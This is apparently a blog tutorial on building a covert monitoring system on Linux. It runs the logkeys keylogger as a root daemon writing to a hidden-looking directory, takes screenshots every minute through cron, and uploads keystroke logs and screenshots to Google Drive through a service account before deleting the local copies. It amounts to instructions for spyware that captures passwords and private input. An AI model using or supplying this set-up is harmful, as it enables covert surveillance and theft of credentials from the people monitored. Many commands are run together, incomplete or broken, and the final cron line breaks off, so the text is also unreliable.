How to create a Spy/Monitoring System in *nix system

Mayank Gupta
Dec 27, 2018 · 8 min read
Credits: Unsplash

Step 1: Setup key logger

sudo apt-get install logkeys
mkdir ~/Logs                             #create directory for logs
touch ~/Logs/keys.log #you can use any file name
sudo logkeys --start -o ~/Logs/keys.log #only works as root
tail --follow ~/Logs/keys.log
cd ~/Logs
sudo logkeys --kill
sudo logkeys -m --start -o keys.log
sudo -H nano /etc/init.d/logkeys
DAEMON_OPTS="-s -m /opt/sys/log/ -o /opt/sys/log/keys.log"
cd $logPath
logFileToRemove=`ls | grep "keys*"`
rm $logFileToRemove
touch keys.log
Ctrl + X
[Enter Key]
sudo service logkeys start

Step 2: Setting up the screenshot application

sudo apt-get install scrot

Step 3: Setting up Google Service Account for unhindered drive access

Step 4: Setting up Service Account’s GDrive

mkdir /opt/sys/src
cd /opt/sys/src
wget                # get the name and version of depspip install -r requirements.txt   # for current user
sudo su # shell as root user
pip install -r requirements.txt # install as root
#Don't provide path if you're in same directory
mkdir /opt/sys/toUploadtouch /opt/sys/toUpload/demoScreenshot.png
touch /opt/sys/toUpload/demokeyLog.log
python demokeyLog.log demoScreenshot.png

Step 5: Automation & Scheduling

dateTime=`date '+%F_%T'`cd $logPathsourceFile=`ls | grep "keys_20*"`mv $sourceFile $uploadSourcePath/$sourceFile.txtmv /home/<YOUR USERNAME>/tempCache.png $uploadSourcePath/$dateTime.png
#!/bin/bashlogPath="/opt/sys/log"cd $logPath
dateTime=`date '+%F_%T'`
cp $sourceFile $destinationFile
cd $uploadSourcePath
cd $srcPath
echo "Logs Renamed"
echo "Copied to upload directory"
photo=`ls $uploadSourcePath| grep "png"`
log=`ls $uploadSourcePath| grep "log"`
echo "variables set are:"echo $photo
echo $log
python $log $photo
echo "Python script executed"
cd $uploadSourcePath
rm *.png
rm *.txt
echo "files removed"
crontab -e
* *   *   *   *    export DISPLAY=:1 && scrot  ~/tempCache.png
sudo nano /etc/crontab
*  *    * * *   root    cd /opt/sys/src/  && ./

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